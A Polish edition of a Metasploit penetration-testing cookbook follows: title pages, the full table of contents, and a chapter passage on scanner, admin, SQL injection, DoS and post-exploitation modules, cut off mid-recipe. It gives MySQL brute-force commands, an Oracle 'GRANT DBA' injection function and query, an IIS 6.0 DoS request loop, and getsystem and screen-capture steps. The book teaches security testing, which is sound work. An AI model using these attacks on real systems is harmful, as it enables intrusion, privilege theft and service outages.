



System w pełni zabezpieczony!

# Metasploit Receptury pentestera

*Wydanie II*

Najlepsze przepisy na bezpieczeństwo Twoich danych!



Monika Agarwal  
Abhinav Singh

[PACKT] open source\*  
PUBLISHING community experience distilled

Tytuł oryginału: Metasploit Penetration Testing Cookbook, Second Edition

Tłumaczenie: Lech Lachowski

ISBN: 978-83-246-9131-9

Copyright © Packt Publishing 2013.

First published in the English language under the title  
„Metasploit Penetration Testing Cookbook, Second Edition”.

Polish edition copyright © 2014 by Helion S.A.  
All rights reserved.

All rights reserved. No part of this book may be reproduced or transmitted in any form or by any means, electronic or mechanical, including photocopying, recording or by any information storage retrieval system, without permission from the Publisher.

Wszelkie prawa zastrzeżone. Nieautoryzowane rozpowszechnianie całości lub fragmentu niniejszej publikacji w jakiegokolwiek postaci jest zabronione. Wykonywanie kopii metodą kserograficzną, fotograficzną, a także kopiowanie książki na nośniku filmowym, magnetycznym lub innym powoduje naruszenie praw autorskich niniejszej publikacji.

Wszystkie znaki występujące w tekście są zastrzeżonymi znakami firmowymi bądź towarowymi ich właścicieli.

Autor oraz Wydawnictwo HELION dołożyli wszelkich starań, by zawarte w tej książce informacje były kompletne i rzetelne. Nie biorą jednak żadnej odpowiedzialności ani za ich wykorzystanie, ani za związane z tym ewentualne naruszenie praw patentowych lub autorskich. Autor oraz Wydawnictwo HELION nie ponoszą również żadnej odpowiedzialności za ewentualne szkody wynikłe z wykorzystania informacji zawartych w książce.

Wydawnictwo HELION  
ul. Kościuszki 1c, 44-100 GLIWICE  
tel. 32 231 22 19, 32 230 98 63  
e-mail: [helion@helion.pl](mailto:helion@helion.pl)  
WWW: <http://helion.pl> (księgarnia internetowa, katalog książek)

Drogi Czytelniku!  
Jeżeli chcesz ocenić tę książkę, zajrzyj pod adres  
<http://helion.pl/user/opinie/metarp>  
Możesz tam wpisać swoje uwagi, spostrzeżenia, recenzję.

Printed in Poland.

- [Kup książkę](#)
- [Poleć książkę](#)
- [Oceń książkę](#)

- [Księgarnia internetowa](#)
- [Lubię to! » Nasza społeczność](#)

# Spis treści

<b>O autorze</b>	<b>7</b>
<b>O recenzentach</b>	<b>9</b>
<b>Przedmowa</b>	<b>11</b>
Jaka jest zawartość tej książki	12
Czego potrzebujesz do pracy z tą książką	13
Dla kogo przeznaczona jest ta książka	13
Konwencje stosowane w tej książce	14
Pobieranie przykładów kodu	14
Errata	14
Naruszenie praw autorskich	15
<b>Rozdział 1. Metasploit — szybkie porady dla profesjonalistów z branży zabezpieczeń</b>	<b>17</b>
Wprowadzenie	17
Konfiguracja Metasploit w systemie Windows	21
Konfiguracja Metasploit w systemie Ubuntu	23
Instalowanie Metasploit z systemem BackTrack 5 R3	26
Przygotowywanie testów penetracyjnych przy wykorzystaniu aplikacji VMware	29
Konfiguracja Metasploit na maszynie wirtualnej z połączeniem SSH	31
Instalacja i konfiguracja bazy danych PostgreSQL w systemie BackTrack 5 R3	33
Wykorzystanie bazy danych do przechowywania rezultatów testów penetracyjnych	36
Korzystanie z frameworku BBQSQL	37
<b>Rozdział 2. Zbieranie informacji oraz skanowanie</b>	<b>41</b>
Wprowadzenie	41
Pasywne zbieranie informacji	44
Skanowanie portów za pomocą narzędzia Nmap	47
Skanowanie portów za pomocą narzędzia DNmap	52
Skanowanie poświadczeń SMB za pomocą narzędzia keimpx	56
Skanowanie wersji SSH	59

Skanowanie FTP	62
Zamiatanie SNMP	63
Skanowanie luk w zabezpieczeniach za pomocą narzędzia Nessus	65
Skanowanie za pomocą narzędzia NeXpose	68
Skanowanie luk w zabezpieczeniach za pomocą narzędzia OpenVAS	70
<b>Rozdział 3. Ocena podatności na ataki na podstawie systemu operacyjnego</b>	<b>75</b>
Wprowadzenie	75
Testy penetracyjne maszyny docelowej z systemem Windows XP SP2	78
Uzyskiwanie zdalnego dostępu poprzez wiązanie powłoki na maszynie docelowej	83
Testy penetracyjne systemu Windows 8	85
Eksploatacja maszyny docelowej z systemem Linux (Ubuntu)	88
Wstrzykiwanie bibliotek DLL w systemie Windows	92
<b>Rozdział 4. Eksploatacja typu client-side oraz omijanie ochrony antywirusowej</b>	<b>97</b>
Wprowadzenie	98
Luka execCommand Use-After-Free w zabezpieczeniach przeglądarki Internet Explorer	99
Luka Adobe Flash Player „new function” związana z wyjątkiem niewłaściwego użycia wskaźnika	102
Przepełnienie stosu bufora formatu RTF aplikacji Microsoft Word	104
Uszkodzenie pamięci przy obsłudze formatu U3D w aplikacji Adobe Reader	106
Generowanie pliku binarnego oraz kodu powłoki za pomocą narzędzia msfpayload	108
Schematy kodowania za pomocą narzędzia msfencoding oraz współczynnik wykrycia	111
Zastosowanie skryptu killav.rb do wyłączenia ochrony antywirusowej	113
Wyłączanie usług programów antywirusowych z poziomu wiersza poleceń	116
Korzystanie z narzędzia strzykawki	118
<b>Rozdział 5. Praca z modułami podczas testów penetracyjnych</b>	<b>121</b>
Wprowadzenie	121
Praca z modułami pomocniczymi skanera	122
Praca z administracyjnymi modułami pomocniczymi	125
Moduły wstrzyknięcia zapytania SQL oraz ataku DoS	127
Moduły fazy poeksploacyjnej	130
Podstawy budowy modułu	131
Analiza gotowego modułu	133
Budowanie własnego modułu fazy poeksploacyjnej	136
<b>Rozdział 6. Exploity</b>	<b>141</b>
Wprowadzenie	141
Struktura modułu	143
Korzystanie z narzędzia msfvenom	146
Konwertowanie exploita na moduł frameworku Metasploit	147
Importowanie i testowanie nowego modułu exploita	152
Fuzzowanie aplikacji za pomocą Metasploit	153
Budowanie prostego fuzzera serwera FTP FileZilla	156

<b>Rozdział 7. Testy penetracyjne w sieci VoIP</b>	<b>161</b>
Wprowadzenie	161
Faza skanowania i enumeracji	164
Pozyskiwanie haseł	168
Przeskakiwanie VLAN-ów	169
Podszywanie się pod adresy MAC w sieci VoIP	171
Atak wykorzystujący podszywanie się pod inną osobę	173
Atak DoS	175
<b>Rozdział 8. Testy penetracyjne sieci bezprzewodowej</b>	<b>179</b>
Wprowadzenie	179
Konfigurowanie i uruchamianie narzędzia Fern WiFi Cracker	180
Monitorowanie interfejsów sieciowych za pomocą narzędzia tcpdump	182
Łamanie zabezpieczeń szyfrowania WEP oraz WPA za pomocą aplikacji Fern Wi-Fi Cracker	187
Przechwytywanie sesji przy użyciu adresu MAC	191
Określanie geolokalizacji celu	194
Technika wardrivingu	194
Atak typu zły bliźniak	198
Konfiguracja Karmetasploit	201
<b>Rozdział 9. Pakiet narzędzi socjotechnicznych — Social Engineer-Toolkit</b>	<b>205</b>
Wprowadzenie	205
Wprowadzenie do pakietu SET	206
Praca z plikiem konfiguracyjnym pakietu SET	208
Praca z wektorami ataku spear-phishing	212
Wektory ataku WWW	215
Praca z wektorem ataku wieloaspektowego	218
Generator zainfekowanych nośników danych	219
<b>Rozdział 10. Korzystanie z Meterpretera</b>	<b>223</b>
Wprowadzenie	224
Polecenia systemowe Meterpretera	225
Polecenia systemu plików Meterpretera	227
Polecenia sieciowe Meterpretera	229
Poszerzanie uprawnień i migracja procesu	232
Konfiguracja wielu kanałów komunikacji z celem	234
Zacieranie śladów za pomocą polecenia timestomp	237
Polecenie getdesktop oraz przechwytywanie uderzeń klawiatury	239
Korzystanie ze skryptu scraper Meterpretera	243
Technika pass the hash	245
Ustanawianie trwałego połączenia za pomocą backdoorów	247
Pivoting z wykorzystaniem Meterpretera	250
Przekierowanie portów za pomocą Meterpretera	252
Interfejs API i domieszki Meterpretera	255
Dodatek Railgun, czyli Ruby jako broń	259

<b>Dodawanie bibliotek DLL oraz definicji funkcji do narzędzia Railgun</b>	<b>261</b>
<b>Budowanie skryptu Meterpretera „Dezaktywator firewalla systemu Windows”</b>	<b>263</b>
<b>Analizowanie wbudowanego skryptu Meterpretera</b>	<b>266</b>
<b>Zdalne wstrzykiwanie serwera VNC</b>	<b>271</b>
<b>Eksploatowanie podatnej na ataki aplikacji PHP</b>	<b>274</b>
<b>Atak Incognito z wykorzystaniem Meterpretera</b>	<b>276</b>
<b>Dodatek A. Testy penetracyjne w chmurze</b>	<b>281</b>
<hr/>	
<b>Wprowadzenie</b>	<b>281</b>
<b>Testy penetracyjne w chmurze</b>	<b>285</b>
<b>Pentesting w chmurze z wykorzystaniem serwisu hackaserver.com</b>	<b>286</b>
<b>Skorowidz</b>	<b>291</b>
<hr/>	

# Praca z modułami podczas testów penetracyjnych

W tym rozdziale:

- Praca z modułami pomocniczymi skanera
- Praca z administracyjnymi modułami pomocniczymi
- Moduły wstrzyknięcia zapytania SQL oraz ataku DoS
- Moduły fazy poeksploatacyjnej
- Podstawy budowy modułu
- Analiza gotowego modułu
- Budowanie własnego modułu fazy poeksploatacyjnej

---

## Wprowadzenie

W pierwszym rozdziale omówiliśmy podstawy frameworku Metasploit i stwierdziliśmy, że ma architekturę modułową. Oznacza to, że wszystkie exploity, ładunki, kodery oraz inne jego komponenty mają postać modułów. Modułowa architektura ułatwia rozszerzanie funkcjonalności frameworku. Każdy programista może opracować swój własny moduł i zaimportować go do frameworku. Pełny proces testów penetracyjnych może wymagać uruchomienia kilku modułów. Kiedy rozpoczynamy np. fazę eksploatacji, używamy modułu ładunku, a gdy już złamiemy zabezpieczenia maszyny docelowej, możemy skorzystać z kilku modułów poeksploatacyjnych.

Różne moduły znajdują także zastosowanie przy łączeniu się z bazą danych oraz zapisywaniu w niej wyników przeprowadzanych testów. Mimo że moduły nie są omawiane zbyt szeroko podczas pracy z frameworkiem Metasploit, to stanowią jego istotę, więc powinieneś dobrze poznać sposób ich funkcjonowania.

W tym rozdziale skoncentrujemy się na folderze `opt/metasploit/msf3/modules`, zawierającym pełną listę użytecznych modułów, które mogą ułatwić zadanie przeprowadzania testów penetracyjnych. Stosowanie modułów jest bardzo podobne do tego, co omawialiśmy do tej pory, ale istnieje pewna różnica w ich funkcjonalności. W dalszej części rozdziału przeanalizujemy też niektóre z istniejących modułów, a na koniec zajmiemy się tworzeniem własnych modułów dla frameworku Metasploit. Rozpocznijmy eksperymenty z modułami.

## Praca z modułami pomocniczymi skanera

Zacznijmy eksperymentowanie od zapoznania się z modułami skanera. Poznaliśmy szczegółowo proces skanowania, stosując narzędzie `nmap`. W tej recepturze przeanalizujemy niektóre z gotowych modułów skanujących, które są dostarczane wraz z frameworkiem Metasploit. Choć `nmap` jest wszechstronnym narzędziem skanującym, może się zdarzyć, że będziemy musieli wykonać skanowanie konkretnego typu, takie jak skanowanie pod kątem obecności bazy danych MySQL.

Metasploit dostarcza pełną listę takich użytecznych skanerów. Spróbujmy zastosować je w praktyce.

### Przygotuj się

Listę dostępnych skanerów znajdziesz w folderze `/opt/metasploit/msf3/modules/auxiliary/scanner`.

Ta lista obejmuje ponad 35 różnych modułów skanowania, które mogą być stosowane w różnych scenariuszach testów penetracyjnych.

### Jak to wykonać

Nauczmy się krok po kroku, jak pracować z pomocniczymi modułami skanerów. Zacniemy od podstawowego skanera HTTP. Przekonasz się, że jest dostępnych wiele różnych opcji skanowania HTTP. Poniżej omówimy kilka z nich:

- Przyjrzyjmy się skryptowi `dir_scanner`. Przeprowadza on skanowanie pojedynczego hosta lub całego zakresu sieci w poszukiwaniu interesujących list folderów, które mogą zostać poddane dalszemu badaniu, by zebrać informacje o celu.



- Aby rozpocząć korzystanie z modułu pomocniczego, musimy wpisać w konsoli msfconsole następujące polecenia:
 

```
msf > use auxiliary/scanner/http/dir_scanner
msf auxiliary(dir_scanner) > show options
```

Polecenie `show options` wyświetli listę wszystkich dostępnych opcjonalnych parametrów, które można zastosować dla modułu skanera. Najważniejszym z nich jest parametr `RHOSTS`, który pozwala wskazać pojedynczą maszynę lub grupę komputerów w danej sieci.

## Jak to działa

Omówmy konkretny moduł skanera wraz z dodatkowymi danymi wejściowymi. Moduł skanera `mysql_login` jest modulem ataków siłowych (ang. *brute force*), który skanuje dostępność serwera MySQL na maszynie docelowej i próbuje zalogować się do bazy danych poprzez atak metodą *brute force* w sposób następujący:

```
msf > use auxiliary/scanner/mysql/mysql_login
msf auxiliary(mysql_login) > show options
```

Module options (auxiliary/scanner/mysql/mysql\_login):

Name	Current Setting	Required	Description
BLANK_PASSWORDS	true	yes	Try blank pas...
BRUTEFORCE_SPEED	5	yes	How fast to...
PASSWORD		no	A specific password...
PASS_FILE		no	File containing...
RHOSTS		yes	The target address...
RPORT	3306	yes	The target port...
STOP_ON_SUCCESS	false	yes	Stop guessing...
THREADS	1	yes	The number of...
USERNAME		no	A specific user...
USERPASS_FILE		no	File containing...
USER_FILE		no	File containing...
VERBOSE	true	yes	Whether to print...

Jak widzisz, istnieje wiele różnych parametrów, które możemy ustawić dla tego modułu. Im lepiej wykorzystamy możliwości modułu, tym większe są szanse na przeprowadzenie udanych testów penetracyjnych. Możemy dostarczyć pełną listę nazw użytkowników oraz haseł, które moduł może wykorzystać do próby zalogowania się na maszynie docelowej.

Dostarczmy te informacje do modułu:

```
msf auxiliary(mysql_login) > set USER_FILE /nazwy_uzytkownikow.txt
USER_FILE => /nazwy_uzytkownikow.txt
msf auxiliary(mysql_login) > set PASS_FILE /hasla.txt
PASS_FILE => /hasla.txt
```

Jesteśmy gotowi, aby zastosować metodę ataku siłowego. Ostatnim krokiem jest wybranie celu i wykonanie polecenia run, aby uruchomić moduł:

```
msf auxiliary(mysql_login) > set RHOSTS 192.168.56.101
RHOSTS => 192.168.56.101
msf auxiliary(mysql_login) > run
[*] 192.168.56.101:3306 - Found remote MySQL version 5.0.51a
[*] 192.168.56.101:3306 Trying username:'administrator' with password:''
```

Jak widać w powyższym listingu, moduł rozpoczął swoje działanie od próby znalezienia serwera MySQL na maszynie docelowej. Po stwierdzeniu obecności tego serwera moduł przeprowadza sprawdzanie kombinacji nazw użytkownika oraz haseł dostarczonych w pliku zewnętrznym. Przeprowadzana w tym scenariuszu operacja jest również jedną z najczęściej wykonywanych w Metasploit czynności z wykorzystaniem modułów. Dostępnych jest wiele zautomatyzowanych modułów ataków siłowych, które służą do łamania słabych haseł.

## Zobacz również

Omówmy szybki i prosty sposób generowania plików haseł za pomocą frameworku Metasploit. Pokażna lista haseł może być pomocna podczas testów penetracyjnych metodą *brute force*.

## Generowanie haseł za pomocą narzędzia Crunch

Przy każdym ataku siłowym konieczne jest posiadanie obszernej listy haseł, które wykorzystamy do prób logowania. Listy haseł można pobrać z zasobów internetowych. Pentester może też wygenerować listę haseł za pomocą narzędzia *John the Ripper* lub skorzystać z wbudowanego w system BackTrack narzędzia crunch, aby utworzyć taką listę na podstawie wskazanego zestawu znaków. Narzędzie crunch znajduje się w folderze `/pentest/passwords/crunch`. Jeśli go nie ma w Twojej wersji systemu BackTrack, możesz je zainstalować, wprowadzając w oknie terminala następujące polecenie:

```
root@bt: cd /pentest/passwords
root@bt:/pentest/passwords# apt-get install crunch
```

Przykładowa składnia narzędzia crunch jest następująca:

```
./crunch <dł_min> <dł_maks> [-f /ścieżka/do_pliku/charset.lst
↳nazwa_zestawu_znaków] [-o lista_haseł.txt] [-t [niezmienny_ciąg_znaków]@@@]
↳[-s początkowy_ciąg_znaków] [-c liczba_linii_pliku_tekstowego]
```

Poniżej opisano znaczenie niektórych użytecznych parametrów narzędzia crunch:

- Parametr `dł_min` określa początkową minimalną długość ciągu znaków.
- Parametr `dł_maks` określa końcową maksymalną długość ciągu znaków.
- Parametr `nazwa_zestawu_znaków` określa predefiniowany zestaw znaków, który ma być wykorzystany do wygenerowania listy haseł.

- Parametr `-b`: `liczba[kb/mb/gb]` określa rozmiar pliku wyjściowego w wybranej jednostce (MB, KB lub GB).
- Parametr `-f` `</ścieżka/do_pliku/charset.lst>` `<nazwa_zestawu_znaków>` pozwala określić predefiniowany zestaw znaków z pliku `charset.lst` (np. `hex-lower`).
- Parametr `-o` `<lista_haseł.txt>` określa plik, w którym zostaną zapisane dane wyjściowe.
- Parametr `-t` `[niezmienny_ciąg_znaków]<@,%>` służy do dodawania w wygenerowanym hasle niezmiennego się ciągu znaków oraz dodatkowych, występujących w dowolnej liczbie, losowych, pojedynczych znaków o ustalonym formacie, którego poszczególne opcje oznaczają: `@` — małe litery, `,` — wielkie litery, `%` — liczby, `^` — symbole. Przykładowo, wygenerowane hasło z opcją `-t @@@helion@@@` może wyglądać następująco `bgrhelionoip`.

Pełną dokumentację narzędzia crunch można znaleźć na stronie <http://sourceforge.net/projects/crunch-wordlist/files/crunchwordlist/>.

Możesz przejść do pełnej dokumentacji, aby dowiedzieć się, w jaki sposób korzystać z tego narzędzia do generowania listy długich i skomplikowanych haseł.

## Inne zasoby

Możemy również zastosować listy haseł pozyskane w wyniku przeprowadzonych przez osoby trzecie ataków na różne serwisy internetowe. Cenny zasób takich haseł znajdziesz na stronie <http://www.skullsecurity.org/wiki/index.php/Passwords>.

Listy haseł w systemie BackTrack zlokalizowane są w folderze `/pentest/passwords/wordlists`. W systemie Kali Linux ten zasób znajduje się w katalogu `/usr/share/wordlists`.

# Praca z administracyjnymi modułami pomocniczymi

Kontynuując eksperymenty z modułami, przejdźmy do modułów administracyjnych, które mogą być bardzo przydatne podczas testów penetracyjnych. Moduły administracyjne, w zależności od ich funkcjonalności, mogą służyć do różnych celów, takich jak poszukiwanie panelu administracyjnego, loginu administratora itd. W tej recepturze przyjrzymy się prostemu administracyjnemu modułowi pomocniczemu o nazwie `mysql_enum`.

## Przygotuj się

Moduł `mysql_enum` jest specjalnym modułem narzędziowym dla serwerów baz danych MySQL. Zapewnia prostą enumerację serwera baz danych MySQL, przy założeniu że odpowiednie poświadczenia użytkownika są przyznane dla połączenia zdalnego. Zobaczmy, jak to działa w praktyce.

## Jak to wykonać

Poniższe kroki określają sposób pracy z administracyjnym modułem pomocniczym:

- Zaczniemy od uruchomienia interfejsu konsoli `msfconsole` i wprowadzenia ścieżki dostępu do modułu pomocniczego:

```
msf > use auxiliary/admin/mysql/mysql_enum
```

```
msf auxiliary(mysql_enum) > show options
```

```
Module options (auxiliary/admin/mysql/mysql_enum):
```

Name	Current Setting	Required	Description
PASSWORD		no	The password for the...
RHOST		yes	The target address
RPORT	3306	yes	The target port
USERNAME		no	The username to...

- Jak widać, moduł pozwala na zdefiniowanie takich parametrów jak `PASSWORD` (hasło), `USERNAME` (nazwa użytkownika) oraz `RHOST` (adres zdalnego hosta). Może to być pomocne przy pierwszym wyszukiwaniu potencjalnej bazy danych MySQL oraz podczas próby zdalnego logowania za pomocą podanych poświadczeń. Przeanalizujemy dane wyjściowe wyświetlone po wykonaniu komendy `exploit`:

```
msf auxiliary(mysql_enum) > exploit
[*] Configuration Parameters:
[*] C2 Audit Mode is Not Enabled
[*] xp_cmdshell is Enabled
[*] remote access is Enabled
[*] allow updates is Not Enabled
[*] Database Mail XPs is Not Enabled
[*] Ole Automation Procedures are Not Enabled
[*] Databases on the server:
[*] Database name:master
```

Moduł odpowiada dużą ilością przydatnych informacji. Informuje nas o tym, że powłoka `cmdshell` oraz zdalny dostęp zostały włączone w konfiguracji MySQL na maszynie docelowej. Zwraca również informację o nazwie bazy danych, która jest aktualnie uruchomiona na maszynie docelowej.

Istnieje kilka podobnych modułów przeznaczonych dla innych usług, takich jak MSSQL i Apache. Dla większości modułów sposób działania jest zbliżony. Pamiętaj, aby użyć polecenia `show options` w celu sprawdzenia, które parametry są wymagane.

## Jak to działa

Administracyjne moduły pomocnicze wykorzystują prosty proces enumeracji, uruchamiając połączenie, a następnie wypróbując różne kombinacje nazw użytkownika i haseł. Za pomocą tych modułów można również sprawdzić, czy serwer bazy danych umożliwi anonimowe logowanie. Ponadto można wykonać próbę logowania dla domyślnych poświadczeń. Dla serwera MySQL domyślne poświadczenia to nazwa użytkownika `scott` oraz hasło `tiger`.

## Moduły wstrzyknięcia zapytania SQL oraz ataku DoS

Framework Metasploit jest przyjazny zarówno dla pentesterów, jak i hakerów. Jest tak dlatego, że pentester musi myśleć z perspektywy hakera, aby zabezpieczyć swoją sieć, usługi, aplikacje itd. Moduły wstrzyknięcia zapytania SQL (ang. *SQL injection* — SQLi) oraz ataków typu DoS (ang. *Denial of Service*) pomagają pentesterom w atakowaniu własnych usług w celu sprawdzenia, czy są one podatne na takie ataki. Warto więc szczegółowo omówić niektóre z tych modułów.

## Przygotuj się

Moduł wstrzyknięcia SQL wykorzystuje znaną lukę w zabezpieczeniach określonego typu bazy danych, umożliwiając jej eksploatację i zapewniając nieautoryzowany dostęp. Wiadomo, że ta luka dotyczy baz danych Oracle 9i oraz 10g. Metasploit zawiera kilka modułów, które wykorzystują znany exploit baz danych Oracle w celu złamania ich zabezpieczeń poprzez wstrzyknięcie zapytania. Moduły można znaleźć w folderze `modules/auxiliary/sqli/oracle`.

## Jak to wykonać

Przeanalizujmy lukę w zabezpieczeniach, która nosi nazwę Oracle DBMS\_METADATA XML:

- Ta luka zwiększa uprawnienia użytkownika `DB_USER` do poziomu administratora bazy danych `DB_ADMINISTRATOR`. Wykorzystamy moduł `dbms_metadata_get_xml`:

```
msf auxiliary(dbms_metadata_get_xml) > show options
```

```
Module options (auxiliary/sqli/oracle/dbms_metadata_get_xml):
```

Name	Current Setting	Required	Description
----	-----	-----	-----

DBPASS	TIGER	yes	The password to...
DBUSER	SCOTT	yes	The username to...
RHOST		yes	The Oracle host.
RPORT	1521	yes	The TNS port.
SID	ORCL	yes	The sid to authenticate.
SQL	GRANT DBA to SCOTT	no	SQL to execute.

- Moduł wymaga określenia podobnych parametrów, jakie stosowaliśmy do tej pory. Najpierw wykonywana jest próba zalogowania się za pomocą domyślnych poświadczeń, czyli odpowiednio nazwy użytkownika scott oraz hasła tiger. Gdy moduł uzyskuje status zalogowania jako użytkownik bazy danych, wykonuje exploit w celu zwiększenia uprawnień do poziomu administratora bazy danych. Uruchommy moduł w celu przetestowania maszyny docelowej:

```
msf auxiliary(dbms_metadata_get_xml) > set RHOST 192.168.56.1
msf auxiliary(dbms_metadata_get_xml) > set SQL YES
```

```
msf auxiliary(dbms_metadata_get_xml) > run
```

- Po pomyślnym wykonaniu modułu uprawnienia użytkownika zostaną zwiększone z DB\_USER do DB\_ADMINISTRATOR.

Kolejnym modułem, który omówimy, jest moduł związany z atakami typu **DoS** (ang. *Denial of Service*). Przeanalizujemy prostą lukę w zabezpieczeniach usług IIS (ang. *Internet Information Services*) w wersji 6.0, która umożliwia atakującemu doprowadzenie do awarii serwera przez wysłanie żądania POST, zawierającego ponad 40000 parametrów żądania. Zajmijmy się tą luką pokrótce. Moduł został przetestowany na serwerze z niezaktualizowaną wersją systemu Windows 2003 z uruchomionymi usługami IIS w wersji 6.0. Modułu ms10\_065\_ii6\_asp\_dos użyjemy w sposób następujący:

```
msf > use auxiliary/dos/windows/http/ms10_065_ii6_asp_dos
```

```
msf auxiliary(ms10_065_ii6_asp_dos) > show options
```

```
Module options (auxiliary/dos/windows/http/ms10_065_ii6_asp_dos):
```

Name	Current Setting	Required	Description
----	-----	-----	-----
RHOST		yes	The target address
RPORT	80	yes	The target port
URI	/page.asp	yes	URI to request
VHOST		no	The virtual host name to...

```
msf auxiliary(ms10_065_ii6_asp_dos) > set RHOST 192.168.56.1
```

```
RHOST => 192.168.56.1
```

```
msf auxiliary(ms10_065_ii6_asp_dos) > run
```

```
[*] Attacking http://192.168.56.1:80/page.asp
```

- Gdy moduł zostanie uruchomiony za pomocą polecenia run, zaczyna atakować docelowy serwer IIS poprzez wysłanie żądania HTTP na porcie 80 z adresem URL do strony page.asp. Pomyślne wykonanie modułu doprowadzi do całkowitej odmowy usługi (DoS) na serwerze IIS.

## Jak to działa

Rzućmy okiem na dwie luki w zabezpieczeniach. Luka bazy danych firmy Oracle jest eksploatowana za pomocą wstrzykiwania niestandardowej funkcji PL/SQL, która jest wykonywana w kontekście SYS i zwiększa uprawnienia użytkownika scott do uprawnień administratora.

Rozważmy tę przykładową funkcję:

```
CREATE OR REPLACE FUNCTION "SCOTT"."ATTACK_FUNC" return varchar2
authid current_user as
pragma autonomous_transaction;
BEGIN
EXECUTE IMMEDIATE 'GRANT DBA TO SCOTT';
COMMIT;
RETURN '';
END;
/
```

Wstrzykiwanie tej funkcji w podatnej na ataki procedurze doprowadzi do zwiększenia uprawnień dla użytkownika scott:

```
SELECT SYS.DBMS_METADATA.GET_DDL(''||SCOTT.ATTACK_FUNC()||','') FROM dual;
```

Powyższy wiersz kodu wyjaśnia proces wstrzyknięcia. Szczegółowa analiza luki w zabezpieczeniach oprogramowania firmy Oracle wykracza poza zakres tej książki.

Przejdźmy do modułu ataków DoS, który wykorzystuje lukę w zabezpieczeniach serwera IIS w wersji 6.0. Atakujący wysyła żądanie POST, które zawiera ponad 40000 parametrów żądania. Żądanie ma postać kodowania typu `application/x-www-form-urlencoded`.

Oto część skryptu, która obsługuje ten moduł:

```
while(1)
begin
connect
payload = "C=A&" * 40000
length = payload.size
sploit = "HEAD #{datastore['URI']} HTTP/1.1\r\n"
sploit << "Host: #{datastore['VHOST']} || rhost}\r\n"
sploit << "Connection:Close\r\n"
sploit << "Content-Type: application/x-www-form-urlencoded\r\n"
sploit << "Content-Length:#{length} \r\n\r\n"
sploit << payload
sock.put(sploit)
#print_status("DoS packet sent.")
disconnect
rescue Errno::ECONNRESET
next
end
end
```

Jak widać powyżej, skrypt generuje ładunek o rozmiarze większym niż 40000. Następnie nawiązywane jest połączenie na porcie 80 w celu wysłania żądania HTTP do serwera IIS. Po przetworzeniu żądania przez serwer nastąpi awaria i zatrzymanie pracy do momentu ponownego uruchomienia serwera.

## Moduły fazy poeksploatacyjnej

Dotychczas omawialiśmy głównie działania fazy poeksploatacyjnej przeprowadzane za pomocą różnych funkcji Meterpretera. Mamy też jednak do dyspozycji osobną dedykowaną listę modułów, które mogą poszerzyć doświadczenie wykonywania testów penetracyjnych. Ponieważ są to moduły fazy poeksploatacyjnej, będziemy potrzebowali aktywnej sesji na maszynie docelowej. W tej recepturze postaramy się uzyskać dostęp do celu.

### Przygotuj się

Moduł fazy poeksploatacyjnej to zbiór jednych z najbardziej interesujących i przydatnych funkcji, które można wykorzystać podczas testów penetracyjnych. Przeanalizujemy szybko niektóre z nich. Użyjemy jako maszyny docelowej niezaktualizowanego systemu Windows 7 z aktywną sesją Meterpretera.

### Jak to wykonać

Przejdźmy do fazy poeksploatacyjnej, w której wykonamy następujące czynności:

1. Moduły fazy poeksploatacyjnej znajdują się w folderze *modules/post/windows/gather*. Zaczniemy od prostego modułu *enum\_logged\_on\_users*, który wyświetli listę aktualnie zalogowanych użytkowników na maszynie z systemem Windows.

Uruchomimy ten moduł poprzez aktywną sesję Meterpretera. Pamiętaj również, aby zwiększyć uprawnienia użytkownika za pomocą polecenia *getsystem* w celu uniknięcia jakichkolwiek błędów w trakcie uruchamiania modułu:

```
meterpreter > getsystem
...got system (via technique 4).
meterpreter > run post/windows/gather/enum_logged_on_users
[*] Running against session 1
Current Logged Users
=====
SID                                     User
---                                     ---
S-1-5-21-2350281388-457184790-407941598  DARKLORD-PC\DARKLORD
Recently Logged Users
=====
SID                                     Profile Path
```



```

---
S-1-5-18          %systemroot%\system32\config\systemprofile
S-1-5-19          C:\Windows\ServiceProfiles\LocalService
S-1-5-20          C:\Windows\ServiceProfiles\NetworkService
S-1-5-21-23502    C:\Users\DARKLORD
S-1-5-21-235      C:\Users\Winuser

```

Pomyślne uruchomienie modułu powoduje wyświetlenie dwóch tabel. Pierwsza z nich zawiera listę aktualnie zalogowanych użytkowników, a druga informacje o ostatnio zalogowanych użytkownikach. Prześledź odpowiednią ścieżkę podczas uruchamiania modułów. Do ich uruchomienia użyliśmy polecenia `run`. Ponieważ wszystkie są skryptami języka Ruby, Meterpreter może je łatwo zidentyfikować.

- Przeanalizujmy jeszcze jeden przykład. Istnieje pewien interesujący moduł fazy poeksploatacyjnej, który przechwytuje zrzut ekranu pulpitu maszyny docelowej. Moduł ten może być przydatny, gdy musimy się dowiedzieć, czy istnieje jakikolwiek aktywny użytkownik, czy nie. Jest to następujący moduł:

```

meterpreter > run post/windows/gather/screen_spy
[*] Migrating to explorer.exe pid: 1104
[*] Migration successful
[*] Capturing 60 screenshots with a delay of 5 seconds

```

Możesz zauważyć, jak łatwe w użyciu i przydatne mogą być moduły fazy poeksploatacyjnej. W najbliższej przyszłości twórcy frameworku Metasploit będą skupiać się raczej na modułach fazy poeksploatacyjnej, a nie na Meterpreterze, ponieważ znacznie zwiększają one funkcjonalność testów penetracyjnych. Jeśli więc szukasz sposobności, aby wspomóc społeczność Metasploit, możesz popracować nad modułami fazy poeksploatacyjnej.

## Jak to działa

Przeanalizuj skrypty `enum_logged_on_user.rb` oraz `screen_spy.rb` z folderu `modules/post/windows/gather`. Może pomóc Ci to lepiej zrozumieć sposób funkcjonowania tych modułów.

## Podstawy budowy modułu

Jak dotąd omówiliśmy przydatność modułów i potencjał, jaki mogą dodać do frameworku Metasploit. Aby biegle opanować korzystanie z tego frameworku, konieczne jest zrozumienie funkcjonowania i budowy modułów. Pomoże to w szybkim rozszerzeniu możliwości frameworku zgodnie z naszymi potrzebami. W kilku kolejnych recepturach zobaczymy, w jaki sposób możemy używać skryptów Ruby do budowania własnych modułów i importować je do frameworku.

## Przygotuj się

Aby rozpocząć budowę własnego modułu, potrzebujemy podstawowej znajomości skryptów Ruby. Omówiliśmy już wykorzystanie i implementację języka programowania Ruby przy pisaniu skryptów Meterpretera. W tej recepturze zobaczymy, jak posłużyć się językiem Ruby przy tworzeniu nowych modułów dla frameworku. Proces ten jest bardzo podobny do pisania skryptów Meterpretera. Różnica polega na zastosowaniu zestawu uprzednio zdefiniowanych wierszy kodu, które są niezbędne, aby framework mógł zrozumieć wymagania i naturę modułu. Omówmy więc niektóre z zasadniczych wymagań, które muszą być spełnione przy budowie modułów.

## Jak to wykonać

Zacznijmy od podstaw tworzenia modułów:

- Aby moduł był czytelny dla frameworku, musimy zaimportować biblioteki MSF w sposób następujący:

```
